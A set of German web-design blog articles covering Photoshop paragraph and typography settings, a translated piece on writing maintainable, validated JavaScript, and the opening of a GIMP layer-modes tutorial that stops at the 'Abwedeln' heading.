Kürzeste Nachsilbe: Steuert die Mindestanzahl von Buchstaben, die auf die nächste Zeile übertragen werden. Drei ist hier ein sicheres Minimum. Bei einem Wort mit fünf Buchstaben ist es ein akzeptierter Stil, zwei zurückzulassen und drei zu übertragen.

Max. Trennstriche: Gibt die maximale erlaubte Anzahl von aufeinander folgenden Trennstrichen vor. Vermeiden Sie mehr als drei.

Trennbereich: Legt einen Abstand von der rechten Seite eines Absatzes fest, in dem es nicht zu einer Silbentrennung kommen sollte.

Großgeschriebene Wörter trennen: Aktiviert oder Deaktiviert das Trennen von Wörtern in Großbuchstaben. Vermeiden Sie generell das Trennen von echten Substantiven.

Einzüge

In der Absatzpalette gibt es drei Einzugsoptionen:

  • Einzug am linken Rand,
  • Einzug am rechten Rand
  • Einzug erste Zeile.

Die Opitonen für die linken und rechten Ränder erlauben es Ihnen, einen Absatz von seinem linken oder rechten Rand einzurücken. Das ist bei Zitaten, Listen und anderen, nicht standardmäßigen Absätzen hilfreich. Die Option Einzug erste Zeile zieht nur die erste Zeile eines jeden Absatzes ein.

Wenn Ihre Absätze nicht durch einen gesonderten Abstand voneinander getrennt werden, kann die Option Einzug erste Zeile dazu verwendet werden, um zwischen den Absätzen eine entsprechende Pause einzufügen. Alle Einzugsoptionen lassen auch negative Werte zu, Sie können auf einfache Weise einen Absatz ausrücken oder hübsch ausgerichtete Listen erstellen, indem Sie einen positiven linken Einzug und einen negativen Einzug für die erste Zeile einstellen.


Ein linker Einzug kombiniert mit hängendem Einzug für die erste Zeile macht sich gut bei mehrzeiligen Punktaufzählungen.

Abstände

Abstände mittels hartem Zeilenumbruch in Text einzufügen ist ganz schlechter Stil. Für diejenigen unter Ihnen, die sich mit HTML auskennen, ist das etwa so, als wenn Sie in einen mit dem <p>-Tag ausgezeichneten Abschnitt ein <br> einfügen, anstatt CSS zum Einrichten der Abstände zu verwenden. Das fügt dem Text nicht nur unnötige Daten hinzu – die Methode macht es auch viel schwieriger, einheitliche Abstände zwischen den Abschnitten einzurichten. Mit den Abstand-Optionen in der Abstandpalette erledigen Sie diese Aufgabe viel komfortabler und flexibler.


Die Abstandoptionen geben Ihnen eine wesentlich bessere Kontrolle über das Zusammenspiel von Abständen zwischen Überschriften und Fließtext.

Adobe Einzeilen-Setzer versus Adobe Alle-Zeilen-Setzer

In Photoshop werden die Zeilenumbrüche und Silbentrennungen bei Textblöcken durch ein Setzer genanntes Werkzeug bestimmt. Es gibt die zwei Optionen Adobe Einzeilen-Setzer und Adobe-Alle-Zeilen-Setzer, durch die jeder Abschnitt kontrolliert wird. Sie werten die Zeichensetzung zusammen mit den Schwellenwerten für Justierungen (etwa für die Laufweite) und Silbentrennungen aus und errechnen daraus die beste Position für einen Zeilenumbruch.

Der Alle-Zeilen-Setzer berechnet alle Zeilen eines Absatzes und versucht, einen Umbruch mit möglichst wenig Silbentrennungen zu erreichen. Der Einzeilen-Setzer arbeitet dagegen Zeile für Zeile und versucht, jede einzelne Zeile so lang wie möglich zu machen. Die gewünschte Einstellung können Sie für jeden Abschnitt individuell vergeben, in dem Sie den Cursor in den jeweiligen Textblock setzen und aus dem Flyout-Menü der Absatzpalette wählen.


Die rote Umrandung zeigt das Flyout-Menü.

Hängende Interpunktion Roman

Hängende Einzüge sind gute Typografie. Sie kommt immer dann ins Spiel, wenn es darum geht, Satzzeichen wie Anführungsstriche, Punkt oder Komma beim Setzen des Randes zu berücksichtigen. Da Satzzeichen optisch nicht so sehr ins Gewicht fallen, verbessert der hängende Einzug das glatte Ausrichten der Ränder. Wenn Sie die Option Hängende Interpunktion Roman aus dem Flyout-Menüs der Absatzpalette wählen, sorgt Photoshop automatisch für den hängenden Einzug von Textblöcken. Die folgende Abbildung zeigt den Unterschied.


Hängender Einzug sorgt für ein besseres Erscheinungsbild von Zitaten.

Der nächste Teil der Serie bringt Tipps zu:
  • Dezimale Punktgrößen für verbessertes Anti-Aliasing
  • Anti-Aliasing mit der Formebene
  • Typografische Anführungszeichen
  • Weiche versus harte Zeilenumbrüche versus Absatzkontrolle
  • Sonderzeichen

(mm),

Kategorien
Bilder & Vektorgrafiken bearbeiten Design Photoshop Webdesign

Photoshop und Typografie fürs Web, Teil 2

Thomas Gannatasio

Bei der Typografie fürs Webdesign sind besondere Aspekte zu beachten, zudem ist das Web sehr schnelllebig – Trends wechseln hier rascher als beim Printdesign. Während die Mehrheit der Schrifttypen im Web durch HTML gerendert wird, ist Photoshop nach wie vor notwendig, um Bearbeitung jenseits des Zugriffs von CSS zu handhaben. Dieser Beitrag erläutert die Textwerkzeuge von Photoshop und gibt Tipps, wie Sie die typografischen Fähigkeiten der Software maximieren können. In Teil 2 der Serie geht es um das Glätten von Text und die verschiedenen Möglichkeiten, die Ihnen das Zeichen-Aufklapp-Menü bietet.

Glätten (Anti-Aliasing)

Glätten ist wesentlich für das Erscheinungsbild der Bildschirmtypographie. Im Prinzip glättet es die Kanten der Zeichen, um ihre Originalgestalt zu erhalten. Photoshop bietet fünf voreingestellte Anti-Aliasing-Einstellungen, die die Pixelwerte unter Verwendung verschiedener Algorithmen in Zusammenhang mit dem Pixelraster des Dokuments festlegen.

Leider lässt keine dieser Einstellungen das Rendern von Subpixeln zu, aber wenn Sie die Option Frei Transformieren verwenden, um die Textebene zu bewegen, können Sie die Algorithmen effektiv dazu zwingen, sauberer zu rendern. Jede Einstellung lässt eine andere Anzahl von Ursprüngen zu und einige produzieren nur dann Variationen, wenn sie entlang der X-Achse umgerechnet werden. Nachstehend befindet sich eine Tabelle mit den verfügbaren Transformationen.


Mithilfe von Frei Transformieren können Sie Textebenen verändern, um das Glätten zu verbessern.

Randbemerkung: Subpixel-Rendering

Jedes Pixel auf einem Standardmonitor besteht aus drei Komponenten: Einer roten, einer grünen und einer blauen. Die Helligkeit eines jeden Subpixels wird unabhängig gesteuert und da sie so klein sind, vermischen unsere Augen die drei zu einem einfarbigen Pixel. Typisches Glätten setzt sogar Werte für jedes dieser Subpixel, was in kompletten Graustufenpixeln resultiert.

Subpixel-Rendering nutzt die Individualität einer jeden einfarbigen Komponente aus und verwendet das, um die wahrgenommene Auflösung des Monitors zu erhöhen. Das erlaubt es einem Pixel, vom benachbarten Pixel visuelles Gewicht zu übernehmen. Dadurch kann die Schrift in kleineren Schrittweiten geglättet werden. Das einzige Manko ist, dass das Rendern einer Type auf diese Art und Weise feine Farbverschiebungen entlang der Kanten der Glyphen produzieren kann. Leider unterstützt Photoshop das Rendern von Subpixeln derzeit nicht, das aber gibt uns etwas, auf das wir hoffen können.


Subpixel-Rendering rastert die Schrift noch glatter, indem es die wahrgenommene Auflösung eines Geräts erhöht. Leider wird es von Photoshop derzeit nicht unterstützt.

Ohne

Geglätteter Text, der mit der Einstellung Ohne erstellt wurde, kann nur sehr eingeschränkt verwendet werden und sieht normalerweise am besten bei Punktgrößen zwischen 9 und 18 aus. Größen unterhalb dieses Bereichs führen zu nicht identifizierbaren Zeichen und höhere Größen führen zu erhöhter Zeichenstärke und übermäßig gezackten Kanten.

Abhängig von der Schriftart können manchmal zwei verschiedene Punktgrößen auf derselben Höhe rendern, was zu einer Verschiebung des Buchstabenabstands, der Breite und der X-Höhe führt. Zum Beispiel rendert Arial 14 pt 10 Pixel hoch mit einer X-Höhe von 8 Pixeln. Arial bei 13 pt sitzt auch 10 Pixel hoch, hat jedoch eine X-Höhe von nur 7 Pixeln – ein kleiner aber deutlich wahrnehmbarer Unterschied. Wenn die Zeichen eine enge Laufweite haben, kann diese Einstellung eventuell auch manuelle Unterschneidung erfordern, da einige Buchstaben Pixel an Pixel aneinander stehen.

Arial 13 pt und 14 pt rendern mit derselben Versalhöhe, jedoch mit unterschiedlichen X-Höhen.

Scharf

Die Einstellung Scharf verwendet sehr enge Rasteranpassung und produziert scharfe, wenn nicht zu scharfe Schriften. Das Zeichnen der Pixel mit dieser Einstellung ist sehr ähnlich dem Zeichnen mit der Einstellung Ohne, lässt jedoch einen gewissen Glättungsgrad zu. Tatsächlich können Sie, wenn Sie diese beiden Optionen aufeinander sehen, wirklich beobachten, dass die Mehrheit der soliden Pixel sich von Ohne nach Scharf übertragen.

Während die Versalhöhe und die X-Höhe typischerweise gleich bleiben, können Sie eventuell eine Erhöhung der Zeichenstärke und -weite feststellen. Scharf tendiert dazu, feine Formvariationen beim Glätten komplett abzutrennen und verursacht manchmal inkonsistente Buchstabenformen. Deshalb möchten Sie, wenn die Integrität des Schriftbilds wichtig für Sie ist, vielleicht eine andere Einstellung ausprobieren.

Schärfer

Die Einstellung Schärfer erhält einen Großteil der ursprünglichen Stärke und Rundung der Schriftart, aber sie säubert auch einige der heiklen Pixel, die von leichten Serifen und dünnen Strichen generiert werden, was insbesondere bei höheren Punktgrößen nützlich ist. Jedoch können Sie mit der Einstellung Schärfer die Fähigkeit, die Ebene auf der Y-Achse zu kalibrieren, einbüßen.

Stark

Die Einstellung Stark ist dafür berüchtigt, dass sie einem Schriftbild unnötiges Gewicht hinzufügt. Sie bietet jedoch mit 32 X-Achsen-Variationen und 16 Variationen auf der Y-Achse die größte Freiheit bei der Umrechnung des Ursprungs. Die Vielzahl von Ausgangspunkten bei dieser Einstellung kommt gerade recht, wenn mit komplexen Buchstabenformen gearbeitet wird. Stark ist auch dann nützlich, wenn mit Schriftarten gearbeitet wird, die sehr dünne Striche haben.

Abrunden

Die Einstellung Abrunden kommt dem nicht angedeuteten Anti-Aliasing am nächsten und wirkt im Vergleich zur originalen Form der Glyphe am Echtesten. Dieser Algorithmus wird am besten bei mittelgroßen bis großen Schriften verwendet, weil er bei kleineren Punktgrößen dazu neigt, sehr leicht und oft verschwommen zu glätten. Wenn sie mit einer entsprechenden Schriftart in der richtigen Größe verwendet wird und wenn der Ursprung richtig eingestellt ist, kann diese Einstellung ein schönes Gleichgewicht zwischen Schärfe und der Genauigkeit der Buchstabenform herstellen.

Optionen Aufklappmenü

Textrichtung ändern

Diese Option erlaubt es Ihnen, das Layout der Textebene zwischen vertikal und horizontal umzuschalten.

Standardmäßige vertikale Textausrichtung (Roman)

Wenn Ihre Textebene auf vertikale Ausrichtung eingestellt ist, dann wird Ihr Text Buchstabe auf Buchstabe gestapelt. Wenn Sie jedoch die Standardmäßige vertikale Textausrichtung (Roman) ausschalten, richten sich die Zeichen entlang derselben Grundlinie aus, drehen sich jedoch um 90°.


Links sehen Sie die standardmäßige vertikale Textrichtung, rechts die nicht-standardmäßige.

OpenType

Abhängig von der Schriftart kann eine Anzahl von Funktionen für OpenType verfügbar sein. Diese können Ihre Typographie wirklich verbessern, indem sie Ihnen Zugriff auf besser geeignete Glyphen und kreative Alternativen ermöglichen. Viele dieser Funktionen sollten nur auf die notwendigen Zeichen angewendet werden, um seltsame Formatierung zu vermeiden.

Standardligaturen: Ersetzt normale Zeichenkombinationen durch eine einzelne kombinierte Glyphe.


Adobe Garamend Pro Italic mit und ohne die standardmäßigen Ligaturen „th“ und „ffi“.

Kontextbedingte Ligaturen: Ändert Zeichen auf der Basis der umgebenden Zeichen, um die Flüssigkeit zu erhöhen.


Wie vorstehend zu sehen ist, hat Bickham Script Pro viele kontextuelle Änderungen.

Bedingte Ligaturen: Ersetzt Zeichenkombinationen in der Tabelle für bedingte Ligaturen der Schriftart durch eine einzige kombinierte Glyphe.


Adobe Garamond PROs bedingte Ligatur beim „st“

Schwungschriften: Tauscht Großbuchstaben gegen dekorativere Schwungschriftalternativen aus.


Bickham Script Pro hat außerordentliche Strudel.

Altes Format: Ändert die Tabellenziffern in Ziffern des alten Formats.

Goudy Old Style und ihre old Style Ziffern gleichen sich besser an Text in Kleinbuchstaben an.

Formatvarianten: Ersetzt Standardzeichen durch dekorative Alternativen.

Bickham Script Pro mit stilistischen Änderungen für das „B“ und das „k“.

Titelschriftvarianten: Ersetzt bei der Verwendung mit großen Schriftgrößen durch passendere Glyphen.


Didot LT Std Headling mit Tilting Alternates (unten) zeigt feine Unterschiede in Gewicht und Abstand, was sie geeigneter für Überschriften macht.

Ornamente: Tauscht bestimmte Zeichen durch Glyphen aus dem Ornamentsatz aus.

Ordinalzeichen: Tauscht Zeichenkombinationen wie „st“, „nd“ und „rd“ gegen „1st“, „2nd“ und „3rd“ aus.

Die Ordinalen von Adobe Garamond Pro lassen diese Rangfolgen schmuck aussehen.

Brüche: Ändert Zahlen, die durch einen Schrägstrich (/) getrennt sind, in ihre Zähler- und Nenneralternativen und ersetzt den Schrägstrich durch ein Bruchzeichen.


Adobe Garamond Pro zeigt einen Bruch richtig mit einem Solidus statt eines Schrägstrichs an.

Gebrochene Breiten

Diese Einstellung kann manchmal beim Glätten und Unterschneiden von Schriften helfen, insbesondere bei kleinen Punktgrößen. Wenn diese Einstellung aktiviert ist, wird der Zeichenabstand auf verschiedene Bruchteile von Pixeln eingestellt. Das ist ideal für große Schriften mit automatischer Unterschneidung, tendiert jedoch dazu, die Typen entweder zu eng aneinander zu drängen oder bei kleineren Größen zu weit auseinander zu setzen. Wird diese Option ausgeschaltet, werden alle Zeichenabstände auf ganze Pixelwerte gerundet, was bei problematischen Schriften eine bessere Spationierung hervorbringen kann. Hier heißt es voll ins Schwarze oder voll daneben, also setzen Sie sie mit Bedacht ein.

Systemlayout

Systemlayout setzt bestimmte Optionen in der Zeichenpalette zurück, um den generischen Schriftsatz eines reinen Textdokuments zu simulieren. Unterschneidung und Laufweite werden auf 0 zurückgesetzt, die Einstellung Glätten wird auf Ohne gestellt und Gebrochene Breiten wird ausgeschaltet.

Kein Umbruch

Kein Umbruch lässt Sie manuell kontrollieren, welche Wörter in einer Absatztextebene mit Trennstrich versehen werden. Wenn Sie ein Wort und die Einstellung Kein Umbruch auswählen, stellen Sie sicher, dass das Wort niemals mit einem Trennstrich versehen wird. Sie können das auch mit mehreren Wörtern tun, um einen Ausdruck immer auf der gleichen Zeile zu haben. Wenn es Ihnen nichts ausmacht, dass das Wort mit Trennstrich versehen wird, Sie jedoch eine bestimmte Stelle für den Trennstrich bevorzugen, dann wählen Sie die Zeichen aus, die nicht umgebrochen werden sollten und stellen Sie auf Kein Umbruch ein. Das generiert einen Umbruch an einer anderen Stelle.

Zeichen Zurücksetzen

Die Option Zeichen Zurücksetzen setzt den Text auf seine ursprünglichen Grundeinstellungen zurück. Schriftart, Größe, Zeilenabstand, Farbe und alles andere in der Zeichenpalette wird ersetzt.

(mm), ™

Kategorien
Webdesign

Wenn Code schlecht wird, Teil 3 – JavaScript haltbar machen

Chris Heilmann (Übersetzung Manuela Müller)

Wie Sie vermeiden, dass andere Entwickler oder so genannte Maintainer sich später über Ihren Code ärgern, ist Thema dieser Artikelserie – in Teil 3 geht es um JavaScript.

JavaScript ist die am häufigsten eingesetzte und womöglich auch wirkungsvollste Programmiersprache, die zur Zeit verfügbar ist. Dass sie so beliebt ist, liegt vor allem an diesen Vorzügen:

  • JavaScript ist einfach zu erlernen.
  • Der Code muss nicht kompiliert werden – es ist kein Server nötig.
  • Die Sprache ist allgegenwärtig.

Es gibt keinen sinnvollen Grund, JavaScript für bestimmte, mit ihm hervorragend zu lösende Aufgaben nicht einzusetzen. Auch deshalb, weil die zunehmende Verbreitung von JavaScript Object Notation, kurz JSON – inzwischen der Quasi-Standard für Datentransfer, und zahlreiche JavaScript-Bibliotheken browserübergreifendes Programmieren und die Manipulation verschachtelter Dokumente via JavaScript DOM (Document Object Model) sehr vereinfacht haben.

Und genau hier wird’s problematisch: Da JavaScript so einfach zu erlernen und anzuwenden ist (Bibliotheken verführen bestimmte Leute zur Annahme, dass es nur dieser einen Bibliothek bedarf) halten sich manche viel zu früh in ihrer Karriere für kompetente JavaScript-Entwickler. Ich führe derzeit Vorstellungsgespräche mit möglichen Kandidaten für eine Position als Front-End-Entwickler und bin sehr erstaunt darüber, wie viele Leute, die lediglich jQuery kennen, sich um diese Stelle bewerben. Das Anwenden einer bestimmten Technik macht noch nicht zum Experten. Wenn man nicht einmal weiß, wie und warum etwas funktioniert, dann ist man nicht in der Lage ein Produkt zu pflegen. Wenn Sie irgend etwas einsetzen, sollten Sie dafür sorgen, dass es funktioniert und dass Sie wissen, wie Sie das Problem beheben können, wenn es nicht mehr funktioniert.

Bei den folgenden Punkten sollten bei Ihnen bereits beim Entwickeln von JavaScript die Alarmglocken schrillen:

  1. Schreiben von „aufdringlichem“ JavaScript
  2. Wenn Sie sich darauf verlassen, dass die Daten im richtigen Format vorliegen.
  3. Anwenden ohne zu testen
  4. Mangelnde Planung für den Problemfall
  5. Fehlende Konfigurierbarkeit der Scripte
  6. Unzureichendes Testen und Validieren Ihres JavaScripts

1. Aufdringliches JavaScript

Ich habe es im ersten Teil dieser Artikelserie schon einmal gesagt: Wenn Sie HTML schreiben, das nur Sinn ergibt, wenn JavaScript verfügbar ist, schaffen Sie sich Ihre Probleme selbst. Ein Schnittstellenelement, das nichts tut, wenn ich es aktiviere, ist ein gebrochenes Versprechen des Anbieters an den Anwender. Damit verlieren die Anwender folglich das Vertrauen in Ihre Schnittstelle. Aus diesem Grund predige ich seit Jahren, unaufdringliches JavaScript zu entwickeln; in letzter Zeit erhalte ich dafür Unterstützung. Der Trick besteht darin, vor dem Einsatz einer bestimmten Technik oder einer Funktion zu testen, ob diese Funktion auch ausgeführt werden. Das ist genauso einfach und selbstverständlich wie das Prüfen der Tiefe eines unbekannten Gewässers, bevor Sie kopfüber hinein springen
„Müllen“ Sie Ihre Dokumente daher nicht mit javascript://-Links zu, entfernen Sie solche onclick=""-Handler und schaffen Sie Dinge, die im üblichen funktionieren sollten, wenn JavaScript mit JavaScript gebraucht wird. Das ist keine Zauberei und der Aufwand lohnt sich in hohem Maße.

2. Sich darauf verlassen, dass die Daten im richtigen Format vorliegen

Daten sind niemals sauber, vor allem dann nicht, wenn Sie vom Endanwender kommen. Wenn Sie Code schreiben wollen, der funktioniert, sollten Sie gewährleisten, dass die eingegebenen Daten getestet werden, bevor Sie diese weiter verarbeiten. JavaScript bietet jede Menge Funktionen, mit denen Sie testen können, ob ein bestimmter Parameter ein String, ein Bereich (Array), eine Zahl, ein Objekt – oder was auch immer Sie benötigen – ist. Indem Sie reguläre Ausdrücke verwenden oder Typen vorgeben, können Sie sicher stellen, dass in Ihre Schnittstelle nur solche Daten eingegeben werden, die Ihr Code auch verarbeiten kann und daher nicht ins „Stottern“ gerät. Hören Sie bitte auf, unzuverlässigen Code wie den folgenden zu schreiben:

function loopOver(x){
  for(var i=0,j=x.length;i<j;i++){
      doStuffWith(x[i]);
  }
}

Der obige Code geht davon aus, dass „x“ ein Array ist, aber Sie können das nicht wissen. Daher sollten Sie es lieber prüfen:

function loopOver(x){
  if(typeof x === 'object' && x.length !== 'undefined'){
    for(var i=0,j=x.length;i<j;i++){
        doStuffWith(x[i]);
    }
  }
}

Validierung ist eine sehr wichtige Voraussetzung für sauberen Code. Ein JavaScript, das Daten in ein Dokument einfügt, ohne diese vorher zu bereinigen, kann das Script nicht nur funktionsuntüchtig machen – es stellt außerdem ein Sicherheitsrisiko dar.

3. Anwenden ohne zu testen

JavaScript in Browsern ist unzuverlässig. Jegliches andere Script auf der Seite kann die Funktionstüchtigkeit Ihres Scripts erheblich beeinträchtigen. Außerdem können Websites, die in anderen geöffneten Tabs oder Fenstern laufen, die Leistung des Browsers beeinträchtigen. Um wirklich zu wissen, wie Ihr Script sich verhält, ist es nicht genug, es lokal zu testen und es ein paar Mal laufen zu lassen. Es ist erforderlich, dass Sie Ihr Script in einer realen Umgebung zusammen mit allen möglichen anderen Scripten, mit denen es unter normalen Umständen harmonieren müsste, zu testen. Eine bedeutende Fehlerursache sind langsame Internetverbindungen. Testen Sie deshalb Ihre Scripts mit einer langsamen Verbindung oder simulieren Sie eine langsame Verbindung mit einem Proxy-Server – zum Beispiel mit Sloppy, bevor Sie Ihren Code zum Einsatz freigeben.

Ein anderer Fall von „Anwenden ohne zu Testen“, der Ihren Code schlecht werden lässt, besteht darin, tief verschachtelte Objekte oder DOM-Selektoren zu verwenden.

for(var i=0,j=data.results.houses.levels.flats.length;i<j;i++{
  // ...
}
$('#main #message li a span').hide();

Sie gehen „wiederum“ davon aus, dass data.results.houses.levels.flats existiert, obwohl Sie sich nicht darauf verlassen können. Sie müssen bis zur untersten Ebene des Pfads prüfen, ob die angegebene Eigenschaft tatsächlich vorhanden beziehungsweise korrekt ist, bevor Sie den Loop einsetzen können. Ist die Eigenschaft nicht vorhanden – etwa dann, wenn das HTML-Template geändert wurde, wird Ihr Script nicht mehr funktionieren. Sofern Sie mit jQuery arbeiten wird Ihr Script still und leise fehlschlagen, was das Debuggen zu einem frustrierenden Erlebnis machen kann.

4. Mangelnde Planung für den Problemfall

Wenn Sie eine bestimmte Funktion anwenden, sollten Sie auch Maßnahmen für den Problemfall oder das Nicht-Funktionieren einplanen. Auf diese Weise können Sie Fehler registrieren oder dem Anwender zumindest sagen, dass etwas schief gelaufen ist, wenn etwas schief läuft. Und es geht immer etwas schief: Ajax-Anfragen ohne Timeout-Meldung oder Fehlermeldungen führen dazu, dass die Anwenderschnittstelle nicht regiet, so dass die Anwender versuchen, das Dokument neu zu laden.

Click-Händler, die nicht auf eine Seite zum erneuten Laden zurückfallen, die eben genau das tun – nämlich neu laden – werden zu nervigen Buttons führen, die Anwender wieder und wieder anklicken, ohne eine entsprechende Rückmeldung zu erhalten.

Die Lösung ist recht einfach. Bauen Sie Möglichkeiten fürs Fehlermanagement in Ihren Code ein (selbst wenn Sie diese Code-Teile nur als Platzhalter oder Marker einfügen). Damit sorgen Sie dafür, dass Ihr Code stets erweiterbar ist. Planen Sie nicht für Fehlleistungen und es treten Fehler auf, werden Maintainer Ihren Code ersetzen, anstatt zu versuchen, das Problem zu beheben.

5. Fehlende Konfigurierbarkeit Ihres Scripts

Die Beziehung zwischen HTML und JavaScript ist heute sehr groß. Bibliotheken wie jQuery empfehlen dies als einen schnellen Weg, tolle Websites zu bauen und die Ergebnisse bestätigen das ja auch. Indem wir also HTML und JavaScript miteinander koppeln, machen wir es den späteren Maintainern unseres Codes aber auch sehr einfach, das betreffende Script zu ändern oder zu ruinieren, falls sich die Hierarchie der HTML-Struktur ändert, werden lange Selektoren, nicht mehr funktionieren. Um es den Maintainern möglichst einfach zu machen, ist es daher wichtig, alle Selektoren am Anfang des Skripts zu notieren und die Ergebnisse im Cache zu speichern. Damit machen Sie es Maintainern einfacher, die Selektoren zu ändern, wenn das erforderlich ist.

Das gilt übrigens generell – wenn Sie es anderen Personen erleichtern möchten, Ihren Code zu pflegen, sollten Sie alles, was sich mit großer Wahrscheinlichkeit ändern könnte (etwa IDs, Klassen, DOM-Pfade, Strings und Parameter) in ein Konfigurationsobjekt einfügen. Ich habe darüber schon mehrfach geschrieben (Link) und dies ist nach wie vor die wirkungsvollste Methode, um Ihren Code vor späteren fehlerhaften Eingriffen durch Maintainer zu schützen.

6. Unzureichendes Testen und Validieren Ihres JavaScripts

Last but not least it is important to write clean JavaScript code that validates and works even when it gets converted by a script to improve web site performance. A lot of servers do get set up to minify or pack JavaScript these days and your scripts should not break when that gets done to them. The main trick here is to use curly braces and not rely on semicolon injection by the browser. The easiest way to see if your JavaScript is ready to go out is to run it through JSLint. JSLint is also available as an add-on for many editors out there so validating your script becomes part of saving it.

Zu guter Letzt kommt es darauf an, JavaScript-Code zu schreiben, der selbst dann valide ist, wenn der Code von einem anderen Script konvertiert wird, um die Leistung der Website zu verbessern. Eine Reihe von Servern sind so konfiguriert, dass sie JavaScript reduzieren oder packen. Achten Sie also darauf, dass Ihr Script durch solch ein Verfahren nicht beschädigt wird. Der Haupttrick besteht darin, geschweifte Klammern zu verwenden und sich nicht darauf zu verlassen, dass der Browser an der richtigen Stelle Semikolons einfügt. Lassen Sie Ihr JavaScript durch JSLint – so können Sie am einfachsten prüfen, ob es reif für die Veröffentlichung ist. JSLint ist für viele Editoren als Add-On  verfügbar – das Validieren Ihres Scripts sollte also zum integralen Bestandteil des Speicherns werden.

Wenn Sie vermeiden möchten, dass Ihr JavaScript-Code schlecht wird, ist es grundsätzlich immer gut, das fertige Script noch einmal auf Herz und Nieren zu prüfen, wenn Sie selbst mit dem Script fertig und zufrieden sind. Vor zwei Jahren habe ich eine Handlungsanleitung mit 5 Aktionen erstellt, denen Sie Ihr Skript unbedingt unterziehen sollten, bevor Sie es an andere Entwickler weitergeben. Daran hat sich bis heute nichts geändert und die Liste hat nach wie vor ihre Gültigkeit.

Fazit

Eine Reihe von Gründen, warum Code mit der Zeit wertlos wird, sind vor allem administrative Gründe. Sie können allerdings eine ganze Menge tun, um Ihren Code gut pflegbar zu halten, indem Sie den Aspekt der Wartung bei der Entwicklung immer mit berücksichtigen. Außerdem sollten Sie quasi eine Art „Verfolgungswahn“ in Bezug auf änderungsanfällige Elemente, die essentiell für die Funktionsfähigkeit Ihres Codes sind, an den Tag legen. So können Sie am besten verhindern, dass Sie relativ bald von unliebsamen Mutationen Ihres Codes überrascht werden.

Die Quintessenz des Ganzen ist, dass Sie Ihren Code sehr sorgfältig planen und eine wohldurchdachte Architektur entwerfen sollten, anstatt das Script einfach herunter zu schreiben und sich damit zufrieden zu geben, dass es in Ihrer Umgebung läuft. Dies ist eines der Hauptunterscheidungsmerkmale zwischen einem Hobbyprogrammierer und einem professionellen Webentwickler.

Kategorien
Webdesign

GIMP ausreizen – Arbeiten mit den Ebenen-Modi

von Jürgen Wolf

Die Ebenenmodi in GIMP – vergleichbar mit den Filtern von Photoshop – sind ein sehr mächtiges Instrument, mit dem sich oft beeindruckende Ergebnisse erzielen lassen. Wozu Sie welchen Modus am besten einsetzen, erläutert dieser Artikel – ein Gastbeitrag des Galileo-Verlags, in dem das Buch Gimp 2.6 von Jürgen Wolf erschienen ist.

Kurz vorweg

Grau ist alle Theorie – am besten können Sie die Auswirkung der einzelnen Modi an konkreten Bildern nachvollziehen. Als Beispiel für die Pixelberechungen werden die beiden folgenden Abbildungen verwendet.


Dieses Bild dient später als Maske beziehungsweise obere Ebene …


…, die mit diesem Bild (untere Ebene) kombiniert wird. FOTO: Martin Conrad

Anhand dieser beiden Ebenen werden die Ebenenmodi demonstriert. Beachten Sie bitte, dass die hier gezeigten Beispiele nur ein ungefähres Bild der verschiedenen Ebenenmodi liefern.

Das Endergebnis hängt in der Regel sehr stark von den Farben beider Ebenen ab. Hier kann ich Ihnen nur empfehlen, möglichst viel zu experimentieren. Duplizieren Sie beispielsweise eine Ebene, und testen Sie so die verschiedenen Ebenenmodi.


Der Dialog Ebenen in GIMP

Die Ebenenmodi im Überblick

Normal

Der Ebenenmodus Normal ist die Standardeinstellung für Ebenen. Bei dieser Einstellung findet zwischen den übereinanderliegenden Pixeln keine Berechnung statt. Die obenliegenden Pixel verdecken hierbei immer die Pixel der darunterliegenden Ebene. Mit einer Ausnahme: Wenn Sie die Deckkraft der oberen Ebene reduzieren, dann scheint auch die untere Ebene durch.

Nur weil hier die Deckkraft auf 50 % reduziert wurde, ist das darunterliegende Bild sichtbar.

Vernichtend

Bei Ebenen mit 100 % Deckkraft und ohne Transparenz entspricht der Modus Vernichtend dem Modus Normal. Übergänge, die kleiner als 100 % sind, stellt der Modus Vernichtend körnig dar. Für die grobe Körnung wird ein Zufallsmuster verwendet, auf das Sie keinen Einfluss haben. Wollen Sie den Ebenenmodus bei Ebenen ohne Transparenz verwenden, bräuchten Sie nur die Deckkraft der Ebene zu reduzieren. In der Praxis wird dieser Ebenenmodus hauptsächlich für Malwerkzeuge zum Beispiel dem Pinsel (P) verwendet.


Da die Deckkraft hier auf 60 % reduziert wurde, können Sie den Effekt des Modus Vernichtend erkennen.

Multiplikation

Der Ebenenmodus Multiplikation bringt meistens als Ergebnis ein verdunkeltes Bild. Dies resultiert daraus, dass alle Farbwerte der oberen und unteren Ebene multipliziert und durch 255 dividiert werden. Pixel, die auf der unteren und der oberen Ebene schwarz sind, bleiben im Ergebnis auch schwarz (Farbwert Schwarz = 0; also 0 * 255 / 255 = 0). Beim Multiplizieren zweier weißer übereinanderliegender Pixel findet ebenfalls keine Änderung statt (Farbwert Weiß = 255; also 255 * 255 / 255 = 255). Liegen hingegen schwarze und weiße Pixel übereinander, so ist das Ergebnis immer Schwarz.


Der Ebenenmodus Multiplizieren

Division

Mit dem Modus Division werden die übereinanderliegenden Farbwerte dividiert. Als Ergebnis erhalten Sie in der Regel ein helleres Bild. Liegt beispielsweise oben ein schwarzes Pixel und unten ein weißes, ist das Resultat ein weißes Pixel. Andersherum genauso: Liegt oben ein schwarzes Pixel und unten ein weißes, ergibt sich daraus ein schwarzes Pixel.


Der Ebenenmodus Division

Bildschirm

Zunächst arbeitet der Ebenenmodus Bildschirm wie der Modus Multiplikation. Nur wird vor der Multiplikation der Wert der Farbe invertiert (durch 255 dividiert), und am Ende wird das Ergebnis nochmals invertiert. Das Endergebnis wirkt dann häufig heller, und dunkle Farben im Bild erscheinen wesentlich durchsichtiger. Bei schwarzen übereinanderliegenden Pixeln passiert nichts; alles bleibt schwarz. Befindet sich hingegen mindestens ein weißes Pixel darunter, ist das Endergebnis immer Weiß. Dieser Modus wirkt sich hauptsächlich auf dunklere Farben aus.


Der Ebenenmodus Bildschirm

Überlagern

Der Überlagern-Modus ist eine Kombination aus Multiplikation und Division. Entscheidend für diesen Modus ist die obere Ebene. Je heller die Farben der oberen Ebene sind, umso heller wird der mittlere Farbbereich der unteren Ebene. Umgekehrt gilt natürlich: Je dunkler die Farben der oberen Ebene, umso dunkler werden auch die Mitteltöne des Ergebnisses. Im Gegensatz zum Ebenenmodus Multiplikation wirkt sich der Modus Überlagern allerdings nicht so stark verdunkelnd aus.


Der Ebenenmodus Überlagern

Abwedeln

